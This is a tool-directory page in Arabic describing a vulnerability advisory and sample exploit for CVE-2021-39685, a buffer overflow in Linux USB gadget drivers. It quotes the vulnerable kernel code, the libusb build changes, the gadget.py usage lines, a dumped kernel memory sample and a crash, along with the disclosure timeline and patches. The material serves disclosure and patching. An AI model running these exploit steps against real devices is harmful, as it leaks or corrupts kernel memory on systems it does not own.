Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
inspector-gadget — وصف CVE-2021-39685 ومثال استغلال لثغرة تجاوز سعة USB Gadget في Linux | Kitploit
أدوات/GitHubGitHub/szymonh/inspector-gadget
أمان الأنظمة المدمجةتحليل الثغرات الأمنيةالاستغلالالاختبار العشوائيأمن الأجهزةاستغلال الملفات الثنائية
GitHubszymonh/inspector-gadget

inspector-gadget

وصف CVE-2021-39685 ومثال استغلال لثغرة تجاوز سعة USB Gadget في Linux

عرض المستودع
141منذ 4 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

inspector-gadget

root@kitploit:~
    Go Go Gadget Exploit!
     _..--"\  `|`""--.._
  .-'       \  |        `'-.
 /           \_|___...----'`\
|__,,..--""``(_)--..__      |
'\     _.--'`.I._     ''--..'
  `''"`,#JGS/_|_\###,---'`
    ,#'  _.:`___`:-._ '#,
   #'  ,~'-;(oIo);-'~, '#
   #   `~-(  |    )=~`  #
   #       | |_  |      #
   #       ; ._. ;      #
   #  _..-;|\ - /|;-._  #
   #-'   /_ \\_// _\  '-#
 /`#    ; /__\-'__\;    #`\
;  #\.--|  |O  O   |'-./#  ;
|__#/   \ _;O__O___/   \#__|
 | #\    [I_[_]__I]    /# |
 \_(#   /  |O  O   \   #)_/
       /   |        \
      /    |         \
     /    /\          \
    /     | `\         ;
   ;      \   '.       |
    \-._.__\     \_..-'/
     '.\  \-.._.-/  /'`
        \_.\    /._/
         \_.;  ;._/
       .-'-./  \.-'-.
      (___.'    '.___)

ملخص

يمكن للمهاجم الوصول إلى ذاكرة النواة متجاوزًا حدود المخزن المؤقت الصالحة من خلال استغلال تنفيذ معالجات طلبات التحكم في أدوات usb التالية - rndis و hid و uac1 و uac1_legacy و uac2. تفتقر معالجة طلبات نقل التحكم الخبيثة ذات قيم wLength الكبيرة بشكل غير متوقع إلى ضمان عدم تجاوز هذه القيمة لحجم المخزن المؤقت. ونتيجة لذلك، يمكن للمهاجم قراءة و/أو كتابة (حسب الحالة) حتى 65 كيلوبايت من ذاكرة النواة.

الوصف

بعض مسارات تنفيذ معالجات نقل التحكم usb في الأدوات مثل rndis و hid و uac1 و uac1_legacy و uac2 لا تتضمن معالجة صحيحة لطول الطلب (wLength). يجب أن تكون هذه القيمة محدودة بحجم المخزن المؤقت لمنع ثغرات تجاوز سعة المخزن المؤقت في مرحلة نقل البيانات.

المخزن المؤقت المستخدم بواسطة endpoint 0 يُخصص في composite.c بحجم USB_COMP_EP0_BUFSIZ (4096) بايت، لذا فإن تعيين wLength إلى قيمة أكبر من USB_COMP_EP0_BUFSIZ سيؤدي إلى تجاوز سعة المخزن المؤقت.

على سبيل المثال في حالة f_uac1.c، يسمح تنفيذ الدالة f_audio_setup بإجراء قراءات وكتابات تتجاوز حدود المخزن المؤقت. لا تقيّد f_audio_setup ولا أي من الدوال المستدعاة - audio_set_endpoint_req و audio_get_endpoint_req و out_rq_cur و ac_rq_in - قيمة الإرجاع بحيث تكون أصغر من حجم المخزن المؤقت. وبالتالي تستخدم مرحلة نقل البيانات req->length = value = ctrl->wLength وهي قيمة يتحكم بها المهاجم. وهذا يسمح بقراءة أو كتابة حتى 65 كيلوبايت من ذاكرة النواة اعتمادًا على اتجاه نقل التحكم.

root@kitploit:~
    static int
    f_audio_setup(struct usb_function *f, const struct usb_ctrlrequest *ctrl)
    {
            struct usb_composite_dev *cdev = f->config->cdev;
            struct usb_request      *req = cdev->req;
            int                     value = -EOPNOTSUPP;
            u16                     w_index = le16_to_cpu(ctrl->wIndex);
            u16                     w_value = le16_to_cpu(ctrl->wValue);
            u16                     w_length = le16_to_cpu(ctrl->wLength);

            /* composite driver infrastructure handles everything; interface
             * activation uses set_alt().
             */
            switch (ctrl->bRequestType) {
            case USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_ENDPOINT:
                    value = audio_set_endpoint_req(f, ctrl);
                    break;

            case USB_DIR_IN | USB_TYPE_CLASS | USB_RECIP_ENDPOINT:
                    value = audio_get_endpoint_req(f, ctrl);
                    break;
            case USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_INTERFACE:
                    if (ctrl->bRequest == UAC_SET_CUR)
                            value = out_rq_cur(f, ctrl);
                    break;
            case USB_DIR_IN | USB_TYPE_CLASS | USB_RECIP_INTERFACE:
                    value = ac_rq_in(f, ctrl);
                    break;
            default:
                    ERROR(cdev, "invalid control req%02x.%02x v%04x i%04x l%d\n",
                            ctrl->bRequestType, ctrl->bRequest,
                            w_value, w_index, w_length);
            }

            /* respond with data transfer or status phase? */
            if (value >= 0) {
                    DBG(cdev, "audio req%02x.%02x v%04x i%04x l%d\n",
                            ctrl->bRequestType, ctrl->bRequest,
                            w_value, w_index, w_length);
                    req->zero = 0;
                    req->length = value;
                    value = usb_ep_queue(cdev->gadget->ep0, req, GFP_ATOMIC);

                    if (value < 0)
                            ERROR(cdev, "audio response on err %d\n", value);
            }

            /* device either stalls (value < 0) or reports success */
            return value;
    }

يتيح تنفيذ استغلال القراءة النموذجي تفريغ حتى 65 كيلوبايت من الذاكرة.

root@kitploit:~
    $ ./gadget.py -v 0x1b67 -p 0x400c -f uac1 | wc -c
    65535
root@kitploit:~
    $ ./gadget.py -v 0x1b67 -p 0x400c -f uac1 | strings

    nsole=tty1 root=PARTUUID=e02024cb-02 rootfstype=ext4 elevator=deadline fsck.repair=yes rootwait modules-load=dwc2
    tem.slice/system-getty.slice/[email protected]
    !rE*
    ?& .4!
    0usb_composite_setup_continue
    composite_setup
    usb_gadget_get_string
    usb_otg_descriptor_init
    usb_otg_descriptor_alloc
    usb_free_all_descriptors
    usb_assign_descriptors
    usb_copy_descriptors

    usb_gadget_config_buf

من ناحية أخرى، يسمح تنفيذ استغلال الكتابة بكتابة بيانات عشوائية تتجاوز حدود المخزن المؤقت المتوقعة.

root@kitploit:~
    $ ./gadget.py -v 0x1b67 -p 0x400c -f uac1 -d write

    Message from syslogd@zero at Dec  6 19:56:01 ...
     kernel:[  103.850206] Internal error: Oops: 5 [#1] ARM

وبالمثل في حالة أداة rndis، يمكن استغلال الدالة rndis_setup للكتابة خارج حدود المخزن المؤقت باستخدام طلب نقل تحكم يكون فيه الاتجاه out والنوع class والمتلقي interface وbRequest مضبوطًا على USB_CDC_SEND_ENCAPSULATED_COMMAND.

root@kitploit:~
    static int
    rndis_setup(struct usb_function *f, const struct usb_ctrlrequest *ctrl)
    {
            struct f_rndis          *rndis = func_to_rndis(f);
            struct usb_composite_dev *cdev = f->config->cdev;
            struct usb_request      *req = cdev->req;
            int                     value = -EOPNOTSUPP;
            u16                     w_index = le16_to_cpu(ctrl->wIndex);
            u16                     w_value = le16_to_cpu(ctrl->wValue);
            u16                     w_length = le16_to_cpu(ctrl->wLength);
            /* composite driver infrastructure handles everything except
             * CDC class messages; interface activation uses set_alt().
             */
            switch ((ctrl->bRequestType << 8) | ctrl->bRequest) {
            /* RNDIS uses the CDC command encapsulation mechanism to implement
             * an RPC scheme, with much getting/setting of attributes by OID.
             */
            case ((USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_INTERFACE) << 8)
                            | USB_CDC_SEND_ENCAPSULATED_COMMAND:
                    if (w_value || w_index != rndis->ctrl_id)
                            goto invalid;
                    /* read the request; process it later */
                    value = w_length;
                    req->complete = rndis_command_complete;
                    req->context = rndis;
                    /* later, rndis_response_available() sends a notification */
                    break;

     ...

     ...

            /* respond with data transfer or status phase? */
            if (value >= 0) {
                    DBG(cdev, "rndis req%02x.%02x v%04x i%04x l%d\n",
                            ctrl->bRequestType, ctrl->bRequest,
                            w_value, w_index, w_length);
                    req->zero = (value < w_length);
                    req->length = value;
                    value = usb_ep_queue(cdev->gadget->ep0, req, GFP_ATOMIC);
                    if (value < 0)
                            ERROR(cdev, "rndis response on err %d\n", value);
            }
            /* device either stalls (value < 0) or reports success */
            return value;

    }

مسارات التنفيذ المعرضة للخطر:

  • f_rndis.c
    • rndis_setup
  • f_uac1.c
    • out_rq_cur
    • ac_rq_in
    • audio_set_endpoint_req
    • audio_get_endpoint_req
  • f_uac1_legacy.c
    • audio_set_intf_req
    • audio_set_endpoint_req
    • audio_get_endpoint_req
  • f_uac2.c
    • out_rq_cur
  • f_hid.c
    • hid_gsetup for HID_REQ_SET_REPORT case

التأثير

الأجهزة التي تنفذ فئات أدوات usb المتأثرة (rndis و hid و uac1 و uac1_legacy و uac2) قد تتأثر بثغرات تجاوز سعة المخزن المؤقت، مما يؤدي إلى كشف المعلومات أو رفض الخدمة أو تنفيذ كود عشوائي في سياق النواة.

الحل المتوقع

قم بتقييد حجم مرحلة النقل إلى min(len, buffer_size) في معالجات طلبات التحكم المتأثرة لضمان عدم حدوث تجاوز سعة المخزن المؤقت.

التواريخ الرئيسية

  • 07.12.2021 - تم إبلاغ فريق أمان النواة بالمشكلة
  • 09.12.2021 - تم توفير تصحيح مسودة من فريق أمان النواة
  • 12.12.2021 - تم دمج الإصلاح في شجرة نواة لينكس الرئيسية (علني)

CVE

CVE-2021-39685

الاستغلال

يتطلب إصدار طلبات نقل تحكم بقيمة wLength أكبر من 4096 بايت القياسية أن يستخدم المضيف بناءً مخصصًا من libusb مع زيادة MAX_CTRL_BUFFER_LENGTH إلى 0xffff. يمكن تعديل هذه القيمة في libusb/os/linux_usbfs.h قبل البناء.

يتطلب السكربت gadget.py مكتبة pyusb. يمكنك تثبيت هذه الحزمة عبر pip كما يلي.

python3 -m pip install pyusb

يمكن الوصول إلى المساعدة باستخدام المعاملين -h أو --help.

root@kitploit:~
usage: gadget.py [-h] -v VID -p PID [-l LENGTH] [-d {read,write}]
                 [-f {rndis,uac1,uac1_legacy,uac2,hid}]

Sample exploit for RNDIS gadget class

optional arguments:
  -h, --help            show this help message and exit
  -v VID, --vid VID     vendor id
  -p PID, --pid PID     product id
  -l LENGTH, --length LENGTH
                        lenght of data to write
  -d {read,write}, --direction {read,write}
                        direction of operation from host perspective
  -f {rndis,uac1,uac1_legacy,uac2,hid}, --function {rndis,uac1,uac1_legacy,uac2,hid}

أمثلة على الاستدعاءات:

root@kitploit:~
./gadget.py -v 0x1b67 -p 0x400c -f uac1
./gadget.py -v 0x1b67 -p 0x400c -f uac1 -d write
./gadget.py -v 0x18d1 -p 0x4e23 -f rndis

التصحيحات

  • USB: gadget: detect too-big endpoint 0 requests
  • USB: gadget: bRequestType is a bitfield, not a enum

ملاحظات ختامية

يرجى تحديث النواة إلى أحدث إصدار مستقر.

تنزيل الأداة